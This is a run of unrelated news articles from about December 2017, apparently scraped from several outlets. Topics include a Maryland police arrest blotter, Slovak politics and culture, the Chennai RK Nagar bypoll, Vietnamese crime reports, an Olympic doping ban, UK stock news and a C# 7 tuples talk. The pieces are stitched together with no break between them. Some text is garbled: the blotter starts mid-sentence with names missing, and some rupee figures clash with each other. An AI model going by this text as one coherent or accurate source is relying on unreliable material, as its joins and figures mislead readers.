Class Costello and Trooper Keyser stopped a vehicle on Rt. 4 in Prince Frederick for traffic violations., identified himself as a Maryland State Trooper. He was unable to show MSP Credentials and through investigation it was determined that Proper was impersonating a police officer. A search incident to the arrest revealed a loaded handgun was located in the vehicle. Proper was arrested and incarcerated at the Calvert County Detention Center.POSSESSION OF HEROIN & METHADONE: On 12/14/2017 at 01:35 pm,, came into the MSP Barrack in Prince Frederick to inquire about an active case. Wilson appeared to be slurring his words and was very lethargic. He was found to be driving on a suspended license and was arrested. A probable cause search of his vehicle revealed both heroin and Methadone. Wilson was incarcerated at the Calvert County Detention Center.Daria S. Moasser, 26, of Brandywine, arrested on 12/09/2017 @ 08:32 pm by TFC S. MatthewsDawn M. Verosko, 43, of Millsboro, DE, arrested on 12/10/2017 @ 01:52 am by TFC K. RobinsonBridget C. McNeary, 44, of Pr. Frederick, arrested on 12/10/2017 @ 07:40 pm by TFC S. MatthewsCraig E. Koehn, 56, of St. Leonard, arrested on 12/15/2017 @ 04:52 pm by TFC S. Casarella
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Iveta Radicova was one of the initiators of the petition for referendum in 1991. Slovaks and Czechs mark the 25th anniversary of their breakup and the birthdays of their respective states on January 1.

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The Slovak Spectator (TSS): Based on recent research, Slovaks and Czechs are still bitter about the fact that there was no referendum concerning the breakup of Czechoslovakia in 1992. How do you explain the persistence of the feeling even after 25 years?

Iveta Radicova (IR): The events of 1968-69 that led to the emergence of the federation of Czechs and Slovaks made it clear that the setup of constitutional competencies was an acute and important issue. But that was a Communist federation, with no actual division of competencies. Following the revolution in 1989, the issue of the decentralisation of competencies emerged as part of the democratisation process. The question was how. Most importantly, none of the relevant political parties except the Slovak National Party had the division of the country on their programmes. So they did not have a mandate from their voters to break it up. In such a situation, a referendum would have been the only democratic solution. Moreover, constitutional issues must be decided by citizens in the referendum, just like we decided on our EU membership. The decision to divide the state must have equal force and legitimacy.

Iveta Radicova was the prime minister of Slovakia between 2010 and 2012. She was first politically active for a brief moment in early 1990s and was one of the initiators of the petition calling for a referendum about the breakup of Czechoslovakia. Iveta Radicova is a sociologist by profession and holds the title of professor. She currently serves as dean of the Faculty of Media at the Pan-European University in Bratislava.

TSS: You were a member of the petition committee calling for the referendum in 1991.

IR: We collected many more signatures than what was needed for the referendum to be announced. Now, like then, the awareness that citizens have the right to decide on the basic issues of their state identity remains very strongly rooted. When I was engaged in top politics later on, I was often criticised for aspiring for the prime ministerial chair of the state that I was against. That is a lie. It was a petition for the referendum, not a petition against the breakup of the state. That is what we as democrats tried to achieve and what I believe was our duty to do.

TSS: The survey results suggest that the division of Czechoslovakia and the emergence of the Slovak Republic are perceived as two separate things. People feel negatively about the breakup but have a rather positive attitude towards Slovakia.

IR: But the positive attitude about Slovakia did not exist in the early years after the breakup. Not even faintly. The second half of the 1990s, the times of so-called Meciarism, was not characterised by euphoria or some joyful feelings about an independent Slovak state, because immediately there was great disappointment about the way we ruled the country on our own.
Slovak travel and nature photographer, who has international titles of QEP and FBIPP, talked about the photos at his exhibition, as well as upcoming trips.

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The screening of the movie Amazing Slovakia (Uzasne Slovensko) and the photos from a recent expedition in New Zealand on December 12, as part of the exhibition of Filip Kulisev in the Aupark shopping mall in Bratislava, were attended by the author.

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We presented shots from all over the world, including those made by big drones, a review of my works from the past five years, as well as photos from the backstage as well as funny, not so funny, and dramatic scenes which complete the image of situations in which the photos were made, Kulisev said, as quoted by the TASR newswire.

Read also:

Read also: Slovak photographer exhibits at UN headquarters Read more

The author seeks unique sites on Earth, and then brings them to all nature lovers in Slovakia and elsewhere through pictures. He strives to contribute to the protection of biodiversity and the natural wealth of the planet through the Amazing Planet project, which includes also the most recent aerial photos of the remote and barely accessible Micronesian Islands, of Greenland, the Tongo Kingdom, Hawaiian Islands and Franz Joseph Land.

Filips work is in itself the main argument why we should protect our country  if not the whole planet  better, Norbert Kurilla, state secretary of the Environment Ministry said, according to TASR. His photos really exceed the dimensions given by the frame and progress further, inviting us to more activity, he noted, adding his personal wish that Kulisevs lifelong mission contributes to making people more sensible, evoking more social responsibility in them so that everyone somehow contributes to environmental protection and improvement.

Kulisevs books and photographs are in collections of personalities like Pope Francis, Russian President Vladimir Putin, UKs Prince Charles, Monacan Count Albert, and US actor Pierce Brosnan.

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Read also: President Kiska donated photo-book by Slovak photographer to Pope Read more

This year, Filip Kulisev managed to travel around several beautiful places on our planet, taking photos in the Indian Ocean, Africa, USA, Australia, New Zealand, and at the North Pole. New shots were made also on a coral atoll, and he was recently in Mozambique, Zanzibar, and Tanzania, as well as the US states of Texas and Louisiana  where he made an impressive image of an oak alley. It is a very picturesque site where several films were shot, including the award winning movie 12 Years A Slave, the photographer comments on one of the shots from the current exhibition.

The traveller who captures beauty from nature on all continents plans to embark on more trips in two weeks. He will welcome the new year in Buenos Aires, moving from there to the Tierra del Fuego (Land of Fire) archipelago, to the southernmost town in the world, Ushuaia, and then a polar expedition to the Falkland Islands, South Georgia Island and Antarctica for January 2018.

The Amazing Planet exhibition in Aupark lasts until December 23.

Filip Kulisev has made it among the top photographers worldwide in natural landscape photos, with almost 200 individual exhibitions both in Slovakia and worldwide. He has published nine books with his pictures and is one of the two photographers in the world who have both titles of Master QEP (Qualified European Professional Photographer) in the Nature category, and Fellowship of the British Institute of Professional Photographers (FBIPP).
The Economy Ministry has been working on several measures and promises more

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Slovakias economic and business sectors are thriving thanks to the generally positive development of its main trading partners. Economic growth has exceeded 3 percent and unemployment rates are hitting historical lows. However, employers are complaining about the lack of skilled labour force that augments the wages of workers while Robert Ficos third government is introducing measures that increase employer costs. These measures impede improvement in the business environment.

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It can be said that the business environment in Slovakia is worsening in the long run and that Slovakia is becoming less competitive with neighbouring countries (the Visegrad group countries and Austria) as well as other post-communist countries in the EU, Martin Hostak of the National Union of Employers (RUZ) told The Slovak Spectator. The latest proposals to change legislation in the social sector only confirm this. The costs keep increasing due to legislative changes and this worsens competitiveness.

Peter Kremsky, executive director of the Slovak Business Alliance (PAS), sees the business environment as worsening, especially in terms of bureaucracy, equality before the law, operation of the state, law enforcement, corruption and access to a labour force.

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Martin Vlachynsky, analyst for the economic think-tank INESS, listed among positive changes more generous flat deductible costs, which the self-employed will be able to enjoy next year. This measure arrives after years of progressively harder conditions for the self-employed to do business.

On the other hand, the government continues to increase the wage costs of low-qualified workers, not only minimum wage increases, but also in the form of social packages, said Vlachynsky.

The experience of clients of the audit and tax consultant Grant Thornton Slovakia is similar.

It is obvious that most of our clients are enjoying a very successful business year, Wilfried Serles, managing partner at Grant Thornton Slovakia, told The Slovak Spectator. Many businesses are growing and profits are increasing. However, margins are declining slightly as labour costs are increasing.

This implies, according to Serles, that companies in Slovakia are currently unable to compensate the increasing personnel costs through improvements in productivity.

Factors affecting the Slovak business environment

Analysts and companies list economic growth, domestic and foreign demand, the arrival of new investors and the expansion of companies among factors positively affecting the business environment in Slovakia, but as Hostak points out, this is not to the Slovak governments credit.

Slovakias economy is driving on a wave of optimism that helps cover the imperfections of the business environment, said Vlachynsky. These may become fully visible if the current economic boom slows.

Hostak says these imperfections include long-term problems related to the business environment, increasing bureaucracy, social packages and unstable legislation.

Kremsky believes the worsening regulatory framework, negative influence of the state and public administration, the introduction of additional measures related to taxes and levies, social packages, the increase of the minimum wage, the malfunction and weak functioning of the state and its bodies are also negatives.

Serles sees the shortage of labour as one of the key challenges for Slovakias industry.

Should the shortage of labour not become an obstacle to future economic growth, Slovakia will have to open its labour market to people from neighbouring countries, said Serles. However, many abroad do not perceive Slovakia to be an attractive place for work. In addition, the gap in the education of skilled personnel is growing.

Government action

The government has taken several measures to improve the business environment, said Miriam Letasiova, general director of the business environment and innovations section at the Economy Ministry. These include a reform of the public administration conducted by the Interior Ministry, the fight against corruption, the reduction of the corporate tax as of the beginning of 2017 and the increase of flat deductible costs for the self-employed.

In May, Economy Minister Peter Ziga, introduced a package of 34 measures that should reduce costs for businesses by 44 million, cut red tape and improve the business environment. These measures, divided into five groups, concern public administration services, methods for increasing competitiveness, the hiring of employees, as well as tax and business support.

The package aims to revise health supervision through occupational health services for employees. It also aims to increase the super-deduction of expenditure on research and development to 100 percent. These measures should make the process of acquiring construction permits more efficient and simplify the process of permitting small-scale construction. The Environment Ministry suggests reducing red tape for businesspersons related to the law on waste.

Now, the Economy Ministry is preparing a second package of measures to improve the business environment. It plans to submit it to the government during the first half of 2018.
The custom of devils coming down from the mountains before Christmas and punishing sinners has no roots in Slovakia though, evoking negative emotions and protests.

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Despite a petition by local inhabitants, a devils march called Krampus took place in Piestany on the evening of December 17, being the first of its kind in Slovakia. This event has, however, a tradition going back hundreds of years or more in many European countries and is greatly attended everywhere, the Sme daily wrote the next day.

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Some of the locals, especially believers, felt negative emotions and started a petition to ban the event. In reaction, another petition was launched, this one was meant to support the march. The Piestany town council dealt with the issue as well. More than a thousand people called on mayor Milos Tamajka to ban the march, arguing that this is not a becoming event during Advent. The organisers argued with the tradition of devils in Slovakia as well  in the St Nicholas entourage, for example  and with the Krampus boosting the attendance and programme of the Christmas market.

video //www.youtube.com/embed/aY0fwFsFpOw

Ultimately, the march took place as planned, attracting around 10,000 people to Piestany, according to organisers.

We are enthused  the participation exceeded our expectations, organiser of the Slovak Devils March, Juraj Romanek, told Sme. We counted on an attendance of about five thousand or more, but according to the first estimates there were about 10,000 of them.

At the centre of Piestany, about 40 figures in devils masks paraded in a limited area. Despite the crowds of curious onlookers, there was no incident reported. The only problems were caused by transport and a lack of parking space before the event's start. But the BaR Group, which organises the Christmas markets in Piestany and is also behind the Devils March, risks worsening relations with the local self-administration.

Town councils dilemma

They can decide whether they want this town to be full of life, or they can decide whether there will be nothing, Romanek said.

The company faces fines for violating the law on cultural events and for the unauthorised occupation of public space, Piestany spokesperson Eva Bereczova told Sme.

The tradition of devils marches originated in the Austrian Alps. Once a year, they descend from the mountains to punish guilty people. From there, it spread to Germany, Hungary, Slovenia, Italy, Croatia and the Czech Republic.
NKU announced that there were no crimes committed by the Slovak organisers of the countrys presidency of EU Council, but added mistakes were made, including incomplete invoices, flawed accountancy and a formal financial inspection.

Federica Mogherini and Miroslav Lajcak at their joint press conference in Bratislava, during Slovak presidency of EU Council. (Source: Sme - Jozef Jakubco)

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The Supreme Audit Office (NKU) did not reveal any suspicions of committed crimes when checking Slovakias EU Council presidency, said its head Karol Mitrik on December 18.

The office found several mistakes, though, Mitrik added, as quoted by the TASR newswire. NKU completed one part of the audit at the Foreign Ministry led by Miroslav Lajcak, he added. Checks are still taking place at the Environment Ministry.

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Read also:

Read also: They reported corruption at the Foreign Ministry. Now they receive an award Read more

For example, the invoices did not contain all items and attachments. It seems that the law on accountancy was violated and the basic financial inspection was only formal, Mitrik added.

A number of errors could have been avoided, which would have made preparations for the presidency in the second half of 2016 more transparent. We didnt find any facts at the Foreign Ministry that would have led to the suspicion of a criminal offence, but I dont deny that there were errors and mistakes, the head of the audit office said.

The mistakes and neglect of FAM

NKU found that invoices for individual contracts did not always properly observe the requirements, for example. It turns out that the law on accounting was violated, Mitrik explained.

Moreover, according to NKU, basic financial checks at the ministry demonstrate signs of great formality. Therefore, if basic financial checks at the ministry had been working at 100 percent, such documents couldnt have gotten into the accounting process, he added.

The audit office recommends that the Foreign Ministry take several measures. For example, it should make sure that addenda to contracts always contain detailed price specifications for goods and services, and part of the invoicing to be a signed copy of the original contract with addenda and supplements. The legal clarity of contracts and contractual relations should be secured, as well as the effective functioning of an internal control system  and not merely a formal one.

Neither were the contractual relations determined transparently, the head of NKU noted, adding that only framework contracts were concluded with very specific conditions, one or two bidders and in practice, these conditions were not fulfilled in the end.
In ten points, we tell you everything you need to know about what's been happening in the build-up to the RK Nagar bypoll, an informal referendum on the AIADMK government and a battle for Jayalalithaa's Tamil Nadu Assembly seat.

By India Today Web Desk: The electoral battle royale in Chennai's RK Nagar - or Dr. Radhakrishnan Nagar - is just two days away. On Thursday, voters in this constituency in north Chennai will decide which candidate will step into the shoes of the previous MLA: former Chief Minister J Jayalalithaa.

Today's the last campaign day ahead of the RK Nagar bypoll. Chief Minister EK Palaniswami and Deputy Chief Minister O Panneerselvam, who have established themselves as the AIADMK's new leaders in post-Jayalalithaa Tamil Nadu after a tumultuous year, are hoping RK Nagar's residents will back E Madhusudhanan, an old warhorse.

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TTV Dhinakaran, the nephew of jailed Jayalalithaa aide VK Sasikala, may be a sidelined leader now - but he'll be right up there in the list of 59 candidates hoping to become the new RK Nagar MLA. MK Stalin's DMK, the leading Opposition party, hopes to snatch Jayalalithaa's seat from her party. It has fielded Maruthu Ganesh.

As the candidates gear up to make one final appeal to RK Nagar voters ahead of the bypoll, here are ten things you need to know.

REDUX...AND DEJA VU: The RK Nagar bypoll was initially scheduled to be held in April. It was cancelled after the Election Commission uncovered evidence of corruption and bribery. This time, too, accusations of election fraud abound. On the ground, it's being alleged that the AIADMK is spending Rs 6,000 per voter to help Madhusudhanan win, that the Dhinakaran camp is spending Rs 6,000 per head to help its own candidate...and the DMK, Rs 2,000 per voter.

LAKHS SEIZED: As of December 18, the Election Commission has seized over Rs 30 lakh (Rs 3,42,000, to be exact).

'CRORES FOR COOKERS': In a complaint to the Election Commission, the AIADMK's Madhusudhanan said pressure cookers being distributed "under the instruction "of TTV Dhinakaran (and worth Rs 1.50) were the "undisclosed stock" of a shop that did not "transact any business" for three years. "It seems no returns were filed for the last three years either under the Income Tax Act or the State Tax dealing with the Sales Tax." He said the I-T department had conducted a raid on that shop.

INSIDE SCOOP: RK Nagar residents who don't wish to be named told India Today that the TTV camp has kept cookers (among other things) ready, but they'll only be handed out after the election. They added that people who attended Dhinakaran's rally were given Rs 300 every day for 10 days. What's more, they say the 'EPS-OPS'-led AIADMK has already finished distributing money.

STALIN CRIES FOUL: MK Stalin, on his part, has made a breathtaking allegation: He says the ruling party has spent Rs 100 crore on bribing RK Nagar residents. He's written to the Election Commission about it, and has asked the poll panel to disqualify Madhusudhanan. Only days ago, DMK cadre and election officials seized around Rs 13 lakh from men accused of trying to distribute money.

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BIRIYANI FOR VOTES: Believe it or not, men have been caught giving out packets of biryani - along with Rs 2,000 bills - in RK Nagar. You can read more about that here.

EXPENDITURE: The Tamil news channel Puthiya Thalaimurai has quoted the Election Commission as saying that while Rs 75 lakh is normally spent on two bypolls, Rs 3 crore has been spent on this one.

BLAME ON EPS, OPS: TTV Dhinakaran told India Today's Priyamvatha that the RK Nagar bypoll had become the "most expensive bypoll" because of Palaniswami and Panneerselvam. He said he didn't have to ally with the DMK, and that he'd think about a tie-up with the Congress.

Dhinakaran has also alleged that PM Narendra Modi is helping the ruling AIADMK win.

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CAMPAIGN ENDS AT 5: No campaign-related activities can be held after 5 pm today.

COUNTING OF VOTES: Votes will be counted in the RK Nagar bypoll on December 24.

(Inputs from Priyamvatha P, Pramod Madhav and PTI)

WATCH | RK Nagar bypoll: People have decided to elect me, says TTV Dhinakaran

--- ENDS ---
The Travelers Companies, Inc., through its subsidiaries, provides a range of commercial and personal property, and casualty insurance products and services to businesses, government units, associations, and individuals in the United states and internationally. The company operates through three segments: Business Insurance, Bond & Specialty Insurance, and Personal Insurance. The Business Insurance segment offers workers' compensation, commercial automobile and property, general liability, commercial multi-peril, employers' liability, public and product liability, professional indemnity, marine, aviation, onshore and offshore energy, construction, terrorism, personal accident, and kidnap and ransom insurance products. This segment operates through select accounts, which serve small businesses; commercial accounts that serve mid-sized businesses; national accounts, which serve large companies; and national property and other that serve large and mid-sized customers, commercial trucking industry, and agricultural businesses, as well as markets and distributes its products through brokers, wholesale agents, and program managers. The Bond & Specialty Insurance segment provides surety, fidelity, management and professional liability, and other property and casualty coverages and related risk management services through independent agencies and brokers. The Personal Insurance segment offers property and casualty insurance covering personal risks, primarily automobile and homeowners insurance to individuals through independent agencies and brokers. The Travelers Companies, Inc. was founded in 1853 and is based in New York, New York.
Police in Vietnam have taken away thousands of counterfeit condoms and lubricants following a sudden raid on a facility.

The products are knock-offs of famous brands and were falsely labeled as being manufactured in Malaysia and Russia, officers in Dong Nai Province said on Tuesday.

Police eventually confiscated 1,919 boxes of condoms and 330 tubes of Croc massage gel with made-in-Malaysia tags, and 137 tubes of made-in-Russia Titan lube.

Officers also discovered and held 340kg of raw materials to make condoms, 53.5kg of packaging paper, 29kg of lube oil and 35kg of erection oil, besides several pieces of equipment and machinery.

The facility, located in the provincial capital of Bien Hoa, is run by Nguyen Thi Xuan Vinh, 29, who failed to show officers her business license and any receipt for the raw materials.

Vinh confessed to police that she had imported all materials from dubious sources in China.

She would mostly distribute the counterfeits to Ho Chi Minh City and customers who placed orders online.

The seized counterfeit condoms are seen in this photo provided by the police. Photo: Ho Chi Minh City Police newspaper

Last year, Hanoi police seized one metric tons of counterfeit condoms, which were made from Chinese materials but sold as made in Malaysia products.

The crackdown came only six months after police in the Vietnamese capital busted a similar facility and confiscated 700,000 fake condoms.

According to experts, counterfeit condoms will likely not protect against pregnancy and sexually transmitted diseases, not to mention that the low-quality materials they are made from can also cause health problems.

The fake products could cause allergy or even infertility to users, doctors warn.
Alexei Voevoda had won two gold medals in the two-man and four-man bobsled events at Sochi.

By India Today Web Desk: The International Olympic Committee has banned Russia's Alexei Voevoda for life from Olympics for taking part in the 2014 Sochi Winter Games doping program.

Voevoda had won two gold medals in the two-man and four-man bobsled events at Sochi.

Those titles were stripped last month when an IOC disciplinary commission disqualified Alexander Zubkov, who was also a part of the Russian bobsled team. Zubkov was also found guilty of anti-doping violations and disqualified. He has appealed to the Court of Arbitration for Sport (CAS).

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The decision comes two weeks after the IOC banned Russia from next year's Pyeongchang Winter Olympics for what it called "unprecedented systematic manipulation" of the anti-doping system.

The IOC, however, left the door open for Russian athletes with a clean history of non-doping to be invited to compete in Pyeongchang as neutrals.

The 43-year-old Zubkov, who has denied wrongdoing, is one of more than 20 Russian athletes who have since appealed to the Court of Arbitration for Sport (CAS).

The IOC decision increased the number of Russian athletes banned for life from the Olympics over alleged doping violations at the Sochi Games to more than 30.

Russia has denied allegations of state-sponsored doping, saying it is the victim of a politicised dirty tricks campaign designed to besmirch its reputation and curb its sporting success.

(With inputs from Agencies)

--- ENDS ---
Hoang Thi Hong Diem has claimed to have snatched a knife from her husband and chopped his head off after being threatened by him during an argument at their tenanted house in the southern Vietnamese province of Binh Duong.

Diem, 32, is the prime suspect in the murder of her husband, 37-year-old Tran Thanh Tu.

His head, which was wrapped in a black plastic bag and hidden inside a backpack, was found by a garbage collector in Binh Duong on Saturday afternoon.

Officers later discovered several bags containing various body parts dumped at multiple locations.

According to Diems statement, Tu returned to their tenanted house in Thuan An Commune, Binh Duong, on Friday night after drinking with friends.

An argument then broke out between the couple, during which Tu threatened to slash Diem with a knife, the woman recalled.

She then snatched the weapon from Tu, before chopping his head off with it.

Fearing that she would get caught, Diem used the same knife to cut her husbands body into pieces, wrapped each part in black plastic bags, and then dropped them off at multiple locations.

Diem then returned to her normal schedule before being arrested on Sunday.

She admitted to the crime on Monday morning, but was unable to remember the exact locations she had dumped the body parts.

Officers are still looking for the remainder of Tus corpse.

According to family members, Diem and Tu had been renting a home in the southern province for nearly a decade.

They are both workers at the same company.

The couple has a 14-year-old daughter and seven-year-old son, who are both living with their grandparents in the Mekong Delta.

Tu was said to be a sociable man who often talked to his neighbors, while his wife is described as more reserved.

Arguments rarely happened in the family, according to locals.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
Former Glee star Mark Salling is facing between 4 to 7 years in prison after pleading guilty to possession of child pornography in a federal court in Los Angeles yesterday.

Salling, who played Noah Puck Puckerman on the US musical admitted to possessing images of children engaged in sexual conduct, including some reportedly aged as young as 3.

Police reportedly found more than 50,000 images and videos of child pornography on computers. Whilst he was facing 20 years prison he agreed to a plea deal with prosecutors in October.

Salling, 35, will have to register as a sex offender and undergo treatment, is forbidden from having any contact with anyone under the age of 18 and must stay 100 feet or more away from schools, parks, public swimming pools, youth centres, playgrounds and arcades. He will also be ordered to pay $50,000 in restitution to each of his victims.

The Glee star was arrested in 2015 after investigators were tipped off by his then-girlfriend.

Sentencing will take place in March.

Source: NY Daily News
Part of the skill of being a network programmer is knowing the turf, taking a gamble and praying the odds fall in your favour.

Earlier this year TV Tonight asked execs at each network to tip the show they were most looking forward to on rival networks.

So who was best at tipping the hot properties?

Heres what they chose

Angus Ross, Head of Programming, Seven.

Which new show are you personally looking forward to seeing?

Travel Guides and The Real Housewives of Sydney

Which new show has you concerned, and may steal eyeballs?

This Time Next Year

Beverley McGarvey, Chief Content Officer, TEN.

Which new show are you personally looking forward to seeing?

Picnic at Hanging Rock

Which new show has you concerned, and may steal eyeballs?

Australian Ninja Warrior

Hamish Turner, Programme Director, Nine.

Which new show are you personally looking forward to seeing?

Wake in Fright

Which new show has you concerned, and may steal eyeballs?

Russell Coights All Aussie Adventures and Blue Murder

Ben Nguyen, Programming Director, SBS.

Which new show are you personally looking forward to seeing?

Australian Ninja Warrior

Which new show has you concerned, and may steal eyeballs?

Seven Types of Ambiguity

Rebecca Heap, Head of Programming & Digital, ABC.

Which new show are you personally looking forward to seeing?

Picnic at Hanging Rock

Which new show has you concerned, and may steal eyeballs?

Common Sense and Blue Murder

Brian Walsh, Executive Director of Television, Foxtel.

Which new show are you personally looking forward to seeing?

Wake In Fright

Which new show has you concerned, and may steal eyeballs?

Murder Uncovered

So with Picnic at Hanging Rock and Russell Coight failing to air at all, best answers fall to those who correctly tipped Australian Ninja Warrior being Beverley McGarvey & Ben Nguyen (with This Time Next Year and Murder Uncovered as runners-up).

Hopes around Real Housewives of Sydney and Common Sense were very wide of the mark. At least nobody picked Yummy Mummies!
Over 50s specialist Saga was on the back foot on Tuesday as RBC Capital Markets downgraded the stock to 'sector perform' from 'outperform' and slashed the price target to 135p from 250p, noting it is now less positive on the motor broking business.

RBC said FY17 earnings per share will not be surpassed until FY21E as Saga spends more to attract new customers, adding that the longer-term opportunity remains attractive but the stock is fairly valued for now.

The bank cut its motor broking segmental profit before tax estimate by 38% on average for FY19-20 due to weaker top line growth and margins than it had previously expected, and a significant accounting tailwind which will disappear in FY19.

"Our previous buy case was centred on footprint expansion and margin improvement in the broking segment, which we now do not expect Saga to achieve in the near term. Further, the pricing structure of the broking business is less attractive than we previously thought.

"Saga's retail business operates on a spread basis so its revenue is affected by pricing from its underwriting panel, and external competitive pricing pressures. The revenue for peers, in contrast, is more resilient as it is based on a percentage of premiums or fixed fee, so there is less need to sacrifice revenue for volume."

Still, RBC said it still reckons the longer-term opportunity for Saga is positive as the UK has an ageing demographic and spending power for this group is increasing.

"Our brand awareness survey from November 2017 shows that Saga is the No.1 brand in the 60+ age group," it added.

At 0955 GMT, the shares were down 0.7% to 124.50p.
Shares in Ashtead topped the FTSE 100 on Thursday morning as investors read across from the results of US-based sector peer United Rentals, which reported slightly improved quarterly results overnight.

With Ashtead's US-focused Sunbelt providing the bulk of group sales, it was significant that Connecticut-headquartered United Rentals retained its full year outlook, with management reaffirming revenue, operating profit, capital spending and free cash flow guidance for 2016.

Market leader United also said it was solid growth on both the east and west Coasts of the US, though conditions remain challenging in Canada.

"Based on what we saw through the mid-year, and what we hear from the field, we continue to expect our business to improve both seasonally and cyclically," United chief executive Michael Kneeland said, although acknowledging the "elevated uncertainty" about the global economy.

Analysts at Peel Hunt in London said the key observation for Ashtead was the continued momentum in its key US regions, with demand for speciality and improved rental rate guidance.

The broker confidently retained its 2017 pre-tax profit forecast of 750m, ahead of consensus 720m to reflect currency moves, with earnings per share of 97.1p.

JP Morgan Cazenove also commented on the impact for the UK group: "We would expect the commentary on the sequentially improving rental rate to be taken positively by Ashtead, reinforcing some of the more positive data points seen in recent months."

At 0945 BST Ashtead shares were up 3.9% at 1,172p, close to last year's all-time high.
VocaLink operates the UK's Bacs payment system and Link cash machine network

Consortium of 18 banks owns VocaLink, also including Barclays, HSBC, Lloyds and Santander

Lloyds Banking and Royal Bank of Scotland could each make at least a 150m profit from MasterCard's proposed 869m acquisition of VocaLink Holdings (VLH), which is majority owned by a consortium of 18 high street banks that also includes Barclays and HSBC .

MasterCard said on Thursday afternoon that it had agreed the purchase of 92.4% of UK-based VocaLink, which operates payment technology platforms, including the BACS automated clearing house and the LINK cash machine network

RBS, which is a 21.4% shareholder in VHL, confirmed its share of the sale proceeds will comprise cash on completion and contingent earn-out consideration which is potentially payable in 2019, subject to performance.

According to the latest available figures, Lloyds also owned a 25.1% stake, HSBC 15.91% and Barclays 15.18%.

Taxpayer-owned RBS expects to report an initial pre-tax gain of approximately 150m on completion of the acquisition.

Other VocaLink shareholders will retain a 7.6% stake in the firm for at least three years, MasterCard said, with other shareholders including RBS, earning up to an additional $220m if certain performance targets are met.

Co-Op Bank said its 3.3% stake in the company would comprise a mix of roughly 25.1m cash and a possible earn-out consideration of up to 3.2m.

"We're excited about the opportunity to play a bigger role in payments in the UK, a very strategic market for us," said MasterCard chief Ajay Banga.

Earlier this year the UK Payment Systems Regulator (PSR), in its initial conclusions on its review of the country's payments infrastructure, proposed the banks sell their stake in VocaLink "in order to open the market and allow more effective competition and innovation".

VocaLink processes more than 90% of salary payments in the UK, more than 70% of all household bill payments and almost all state benefits, all totalling more than 11bn transactions per year with a value of 6trn.

On Thursday the PSR said: "It will be for the relevant merger authority to consider the effects of this merger under merger control law.... we will discuss developments with MasterCard and VocaLink and - where appropriate - with the relevant merger authority. Our main consideration is that the infrastructure delivers good outcomes for the people and businesses that use it."
News

Microsoft's Adam Tuliper Explains Tuples in C# 7.0

In explaining new features in C# 7.0, Microsoft engineer Adam Tuliper found that few in the audience at a recent Visual Studio Live! conference were familiar with one of the new offerings, called tuples.

"Who's ever worked with the tuple support in System.Tuple?" Tuliper asked the audience at his "Exploring C# 7 New Features" presentation. "Okay so there's like three people that raised their hand on that, and tuples have been around for a long time. So that tells you, either you don't have a need for tuples, or the support that's been built in the language has not been that great for it. And I think it was a little bit kind of kludgy. You needed a specific use case for it."

Tuliper discussed some of those use cases that are addressed with a new feature in C# 7.0 that adds System.ValueTuple to the mix, joining System.Tuple that came with .NET 4.0 and C# 4.0.

Functionality around tuples is evolving along with C# and .NET, which are progressing together in this pattern:

[Click on image for larger view.] The C#/.NET Evolution (source: Microsoft).

Before going further into the new tuple functionality, though, what exactly is a tuple?

According to Microsoft documentation:

A tuple is a data structure that has a specific number and sequence of elements. An example of a tuple is a data structure with three elements (known as a 3-tuple or triple) that is used to store an identifier such as a person's name in the first element, a year in the second element, and the person's income for that year in the third element.

Or, as Thomas Levesque explained in his .NET blog, "A tuple is a finite ordered list of values, of possibly different types, which is used to bundle related values together without having to create a specific type to hold them."

Tuliper expanded on those definitions in his VS Live! presentation in Orlando. "The idea of a tuple is you can have two plus-values inside of an object that you just create on the fly. So think about the cases where you have a method and in that method you need to return more than one value and then you're like, 'well gosh do I need can I do different out parameters here? Should I create a class? Should I create a struct? Do I want to do it kind of like this C way where I'm gonna return a value for the method and pass something in my reference?' And so there's nothing that felt super clean on there. I don't really want to create a new class or struct just to return a value from this one method. So tuples can fill that role. You can just create them on the fly and return multiple values from something."

However, as noted, Tuliper acknowledged problems with previous System.Tuple approach. Levesque also detailed some of the drawbacks of the previous System.Tuple support:

They're classes, that is, reference types. This means they must be allocated on the heap, and garbage collected when they're no longer used. For applications where performance is critical, it can be an issue.

The fact that they can be null is often not desirable.

The elements in the tuple don't have names, or rather, they always have the same names (Item1, Item2 and so on), which are not meaningful at all. The Tuple<T1, T2> type conveys no information about what the tuple actually represents, which makes it a poor choice in public APIs."

Tuliper explained more about this.

"The difference is the built-in tuple support in System.Tuple relies on a reference type, and so when you use it, there's the allocations, there's an object behind the scenes," Tuliper said. "That same syntax is compatible with the new tuples. So the new tuples are in what's called System.ValueTuple, and the name might give it away. So behind the scenes it's changed structurally as to how its managed. It's no longer this reference-typed object. It is a value type behind the scenes -- in fact, more specifically a tuple is essentially a mutable struct."

Tuliper explained how tuples work in conjunction with one of his favorite features in the new-age C#: deconstruction, which is syntax for splitting up a tuple's parts and assigning them to new individual variables.

"What deconstruction means is you're taking some number of values in the right-hand side and assigning them to values on the left," Tuliper demonstrated in his hands-on coding example, noting that deconstruction works with other types beyond tuples.

"I'm not creating a single object," Tuliper demonstrated. "I'm taking tuples and what's called deconstructing them -- breaking them apart into individual values. So it's a nice way to just take multiple values and assign them to other variables."

Here's Tuliper's code demonstrating deconstruction:

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace c_sharp_7.CSharp7 { public class Point { public int X { get; } public int Y { get; } public Point(int x, int y) { X = x; Y = y; } public void Deconstruct(out int x, out int y) { x = X; y = Y; } public void Deconstruct(out int x, out int y, out int q) { x = X; y = Y; q = 5; } } }

Along with tuples, Tuliper delved deeply into other new features, such as pattern matching to do advanced comparisons with values in objects; and local functions for function-in-function support (which can be better than anonymous their use cases are understood completely). Other new features explained in the talk include "out" variables, throw expressions, generalized async return types and many more.

He supplied example coding projects to illustrate those and many other features coming in C# 7.1, 7.2, 7.3 and beyond.

All of that code, along with the slides Tuliper used in his presentation, can be found on the VS Live! site for Orlando, and you can grab it here.

The next Visual Studio Live! show will be in Las Vegas March 11-16.
To truly experience Virginia Tech, students are encouraged to reflect on their strengths, map their own journey, and create the future they imagine. Chase Ginther has done just that.

In a matter of days, Ginther, of Midlothian, Virginia, will walk across the commencement stage to accept his degree in statistics and computational modeling and data analytics from the College of Science. Hell close a chapter in his story that he describes as the most transformative years of his life.



My studies have been rigorous and have certainly prepared me to get a job in the field of data science, but I think the most important things I have learned have been outside the classroom, Ginther said. Ive learned that everyone brings a unique perspective to the table and that there is always something to learn from someone.



Ginther served as the president of Alpha Sigma Phi fraternity as well as president of the Interfraternity Council (IFC). For him, these roles defined what it means to be a leader.



